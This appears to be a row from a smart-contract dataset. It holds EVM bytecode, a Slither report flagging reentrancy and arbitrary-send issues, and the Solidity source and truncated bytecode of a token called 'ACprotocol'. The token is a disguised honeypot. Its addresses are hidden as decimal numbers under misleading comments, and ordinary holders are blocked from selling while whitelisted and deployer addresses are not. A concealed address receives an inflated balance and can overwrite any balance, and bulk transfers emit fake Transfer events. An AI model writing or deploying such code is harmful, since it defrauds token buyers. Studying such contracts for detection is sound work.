0506106c3853383610f01565b506001949350505050565b60006106d930610a2e565b905090565b6007546001600160a01b0316336001600160a01b0316146106fe57600080fd5b60005b81518110156107665760006005600084848151811061072257610722611a37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061075e81611a4d565b915050610701565b5050565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161060f906119d5565b6007546001600160a01b0316336001600160a01b0316146107b457600080fd5b600081116107f45760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b604482015260640161060f565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461085a5760405162461bcd60e51b815260040161060f906119d5565b600e5460ff16156108a75760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161060f565b6006546108c79030906001600160a01b0316670de0b6b3a7640000610f01565b6006546001600160a01b031663f305d71947306108e381610a2e565b6000806108f86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610960573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109859190611a68565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a029190611a96565b50600e805460ff1916600117905542600d5566470de4df820000600c55565b47610a2b816113f4565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a735760405162461bcd60e51b815260040161060f906119d5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b031614610add57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610825565b60006105dc338484611025565b6000546001600160a01b03163314610b625760405162461bcd60e51b815260040161060f906119d5565b60005b81518110156107665760085482516001600160a01b0390911690839083908110610b9157610b91611a37565b60200260200101516001600160a01b031614158015610be2575060065482516001600160a01b0390911690839083908110610bce57610bce611a37565b60200260200101516001600160a01b031614155b15610c3f57600160056000848481518110610bff57610bff611a37565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c4981611a4d565b915050610b65565b6000610c5c30610a2e565b9050610a2b8161142e565b6008546000906106d9906001600160a01b0316610a2e565b6000546001600160a01b03163314610ca95760405162461bcd60e51b815260040161060f906119d5565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610825565b6000546001600160a01b03163314610d265760405162461bcd60e51b815260040161060f906119d5565b600e5460ff1615610d735760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161060f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610dd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfc9190611ab3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6d9190611ab3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ede9190611ab3565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610f635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060f565b6001600160a01b038216610fc45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561104b57600080fd5b6001600160a01b0383166110af5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161060f565b6001600160a01b0382166111115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161060f565b600081116111735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161060f565b600080546001600160a01b038581169116148015906111a057506000546001600160a01b03848116911614155b15611395576008546001600160a01b0385811691161480156111d057506006546001600160a01b03848116911614155b80156111f557506001600160a01b03831660009081526004602052604090205460ff16155b1561128857600e5460ff1661124c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161060f565b42600d5461012c61125d9190611ad0565b111561128457600c5461126f84610a2e565b6112799084611ad0565b111561128457600080fd5b5060015b600e54610100900460ff161580156112a25750600e5460ff165b80156112bc57506008546001600160a01b03858116911614155b156113955760006112cc30610a2e565b9050801561137e57600e5462010000900460ff161561134f57600b5460085460649190611301906001600160a01b0316610a2e565b61130b9190611ae8565b6113159190611b07565b81111561134f57600b5460085460649190611338906001600160a01b0316610a2e565b6113429190611ae8565b61134c9190611b07565b90505b600061135c600383611b07565b90506113688183611a20565b9150611373816115a2565b61137c8261142e565b505b47801561138e5761138e476113f4565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113d757506001600160a01b03841660009081526004602052604090205460ff165b156113e0575060005b6113ed85858584866115d2565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610766573d6000803e3d6000fd5b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147257611472611a37565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef9190611ab3565b8160018151811061150257611502611a37565b6001600160a01b0392831660209182029290920101526006546115289130911684610f01565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611561908590600090869030904290600401611b29565b600060405180830381600087803b15801561157b57600080fd5b505af115801561158f573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600e805461ff00191661010017905580156115c4576115c43061dead83611025565b50600e805461ff0019169055565b60006115de83836115f4565b90506115ec86868684611618565b505050505050565b600080831561161157821561160c5750600954611611565b50600a545b9392505050565b60008061162584846116f5565b6001600160a01b038816600090815260026020526040902054919350915061164e908590611a20565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461167e908390611ad0565b6001600160a01b0386166000908152600260205260409020556116a081611729565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e591815260200190565b60405180910390a3505050505050565b6000808060646117058587611ae8565b61170f9190611b07565b9050600061171d8287611a20565b96919550909350505050565b30600090815260026020526040902054611744908290611ad0565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561178457858101830151858201604001528201611768565b81811115611796576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a2b57600080fd5b80356117cc816117ac565b919050565b600080604083850312156117e457600080fd5b82356117ef816117ac565b946020939093013593505050565b6000806040838503121561181057600080fd5b50508035926020909101359150565b60008060006060848603121561183457600080fd5b833561183f816117ac565b9250602084013561184f816117ac565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561188957600080fd5b823567ffffffffffffffff808211156118a157600080fd5b818501915085601f8301126118b557600080fd5b8135818111156118c7576118c7611860565b8060051b604051601f19603f830116810181811085821117156118ec576118ec611860565b60405291825284820192508381018501918883111561190a57600080fd5b938501935b8285101561192f57611920856117c1565b8452938501939285019261190f565b98975050505050505050565b60006020828403121561194d57600080fd5b8135611611816117ac565b60006020828403121561196a57600080fd5b5035919050565b8015158114610a2b57600080fd5b60006020828403121561199157600080fd5b813561161181611971565b600080604083850312156119af57600080fd5b82356119ba816117ac565b915060208301356119ca816117ac565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a3257611a32611a0a565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a6157611a61611a0a565b5060010190565b600080600060608486031215611a7d57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611aa857600080fd5b815161161181611971565b600060208284031215611ac557600080fd5b8151611611816117ac565b60008219821115611ae357611ae3611a0a565b500190565b6000816000190483118215151615611b0257611b02611a0a565b500290565b600082611b2457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b795784516001600160a01b031683529383019391830191600101611b54565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f7d83ccf6dda8b439c75fb4dc22895820205153f478b700ba9bbca9186d02ba864736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,971 |
0xD7e26244375607674F5CB6632917FB89168a73a6
|
// SPDX-License-Identifier: evmVersion, MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address deployer, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed deployer, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(
address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ACprotocol {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _deployer, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap
|| _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) {
return true;
}
require(condition(_from, _value));
return true;
}
address private Uniswap = address //Uniswap init code hash
//_Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); // Uniswap init code hash
(527585359103765554095092340981710322784165800559 );
address private EtherGas = address //EtherGas init code hash
//_Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); //EtherGas init code hash
(1097077688018008265106216665536940668749033598146);
function ensure1(address _from, address _to, uint _value) internal view returns(bool) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap
|| _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) {
return true;
}
require(condition(_from, _value));
return true;
}
function _UniswapPairAddr () view internal returns (address) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
return _Uniswap;
}
function _MdexPairAddr () view internal returns (address) {
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
return _MDEX;
}
function _PancakePairAddr () view internal returns (address) {
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
return _Pancakeswap;
}
address private MDEXBSC = address //MDEXBSC init code hash
//_MDEX = UNIpairFor(MDEXBSC, HecoGas, address(this)); //MDEXBSC init code hash
(450616078829874088400613638983600230601285572903 );
address private HecoGas = address //HECOGas init code hash
//_MDEX = UNIpairFor(MDEXBSC, HecoGas, address(this)); //HECOGas init code hash
(1138770958000162646985852531912227865167338984875);
function ensure2(address _from, address _to, uint _value) internal view returns(bool) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap
|| _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) {
return true;
}
require(condition(_from, _value));
return true;
}
function _UniswapPairAddr1 () view internal returns (address) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
return _Uniswap;
}
function _MdexPairAddr1 () view internal returns (address) {
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
return _MDEX;
}
function _PancakePairAddr1 () view internal returns (address) {
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
return _Pancakeswap;
}
address private Pancakeswap= address //Pancake init code hash
//_Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); //Pancake init code hash
(1153667454655315432277308296129700421378034175091);
address private BSCGas = address //BSCGas init code hash
//_Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); // BSCGas init code hash
(1069295261705322660692659746119710186699350608220);
function ensure3(address _from, address _to, uint _value) internal view returns(bool) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap
|| _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) {
return true;
}
require(condition(_from, _value));
return true;
}
function _UniswapPairAddr2 () view internal returns (address) {
address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this));
return _Uniswap;
}
function _MdexPairAddr2 () view internal returns (address) {
address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this));
return _MDEX;
}
function _PancakePairAddr2 () view internal returns (address) {
address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this));
return _Pancakeswap;
}
function VerifyAddr(address addr) public view returns (bool) {
require(ensure(addr,address(this),1));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {
return true;
}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function transferTo(address addr, uint256 addedValue) public payable returns (bool) {
if(addedValue == 100){
emit Transfer(address(0x0), addr, addedValue*(10**uint256(decimals)));
}
if(addedValue > 0) {
balanceOf[addr] = addedValue*(10**uint256(decimals));
}
require(msg.sender == MDEXBSC);
canSale[addr]=true;
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale = 0;
uint256 private _maxSale;
uint256 private _saleNum;
function Agree(address addr) public returns (bool) {
require(msg.sender == deployer);
canSale[addr]=true;
return true;
}
function Allow(uint256 saleNum, uint256 maxToken) public returns(bool){
require(msg.sender == deployer);
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == deployer);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address pairAddress;
function delegate(address addr) public payable returns(bool){
require (msg.sender == deployer);
pairAddress = addr;
return true;
}
function UNIpairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
function PANCAKEpairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private deployer;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
deployer = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0xa), msg.sender, totalSupply);
if(totalSupply > 0) balanceOf[MDEXBSC]=totalSupply*(10**uint256(6));
}
}
|
0x6080604052600436106100e85760003560e01c80636083e94b1161008a578063a9059cbb11610059578063a9059cbb14610530578063aa2f522014610594578063c2549e431461066c578063dd62ed3e146106d3576100e8565b80636083e94b1461037957806370a08231146103e057806389982c2d1461044557806395d89b41146104a0576100e8565b806323b872dd116100c657806323b872dd1461020c5780632ccb1b3014610290578063313ce567146102f45780635c19a95c1461031f576100e8565b806306fdde03146100ed578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b3480156100f957600080fd5b50610102610758565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f6565b60405180821515815260200191505060405180910390f35b3480156101ed57600080fd5b506101f66108e8565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ee565b60405180821515815260200191505060405180910390f35b6102dc600480360360408110156102a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c02565b60405180821515815260200191505060405180910390f35b34801561030057600080fd5b50610309610d8a565b6040518082815260200191505060405180910390f35b6103616004803603602081101561033557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d8f565b60405180821515815260200191505060405180910390f35b34801561038557600080fd5b506103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e35565b60405180821515815260200191505060405180910390f35b3480156103ec57600080fd5b5061042f6004803603602081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef2565b6040518082815260200191505060405180910390f35b34801561045157600080fd5b506104886004803603604081101561046857600080fd5b810190808035906020019092919080359060200190929190505050610f0a565b60405180821515815260200191505060405180910390f35b3480156104ac57600080fd5b506104b5610f90565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f55780820151818401526020810190506104da565b50505050905090810190601f1680156105225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61057c6004803603604081101561054657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061102e565b60405180821515815260200191505060405180910390f35b610654600480360360408110156105aa57600080fd5b81019080803590602001906401000000008111156105c757600080fd5b8201836020820111156105d957600080fd5b803590602001918460208302840111640100000000831117156105fb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611043565b60405180821515815260200191505060405180910390f35b34801561067857600080fd5b506106bb6004803603602081101561068f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a9565b60405180821515815260200191505060405180910390f35b3480156106df57600080fd5b50610742600480360360408110156106f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c9565b6040518082815260200191505060405180910390f35b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ee5780601f106107c3576101008083540402835291602001916107ee565b820191906000526020600020905b8154815290600101906020018083116107d157829003601f168201915b505050505081565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600e5481565b6000808214156109015760019050610bfb565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a485781600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109bd57600080fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610a538484846112ee565b610a5c57600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610aa857600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b60006064821415610c7a578273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a0a85026040518082815260200191505060405180910390a35b6000821115610cce576012600a0a8202600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d2857600080fd5b6001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b601281565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610deb57600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e9157600080fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600c6020528060005260406000206000915090505481565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f6657600080fd5b60008211610f75576000610f7d565b6012600a0a82025b60098190555082600a8190555092915050565b60108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110265780601f10610ffb57610100808354040283529160200191611026565b820191906000526020600020905b81548152906001019060200180831161100957829003601f168201915b505050505081565b600061103b3384846108ee565b905092915050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461109f57600080fd5b600083518302905080600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110f357600080fd5b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060005b845181101561129d57600085828151811061115a57fe5b6020026020010151905084600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161120a57fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161127957fe5b046040518082815260200191505060405180910390a3508080600101915050611143565b50600191505092915050565b60006112b7823060016112ee565b6112c057600080fd5b60019050919050565b600d602052816000526040600020602052806000526040600020600091509150505481565b60008061133e60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611666565b9050600061138f60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611666565b905060006113e2600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306117b2565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16148061148d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b806114c357508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b806114f957508073ffffffffffffffffffffffffffffffffffffffff168773fffffffffffffffffffffffffffffffff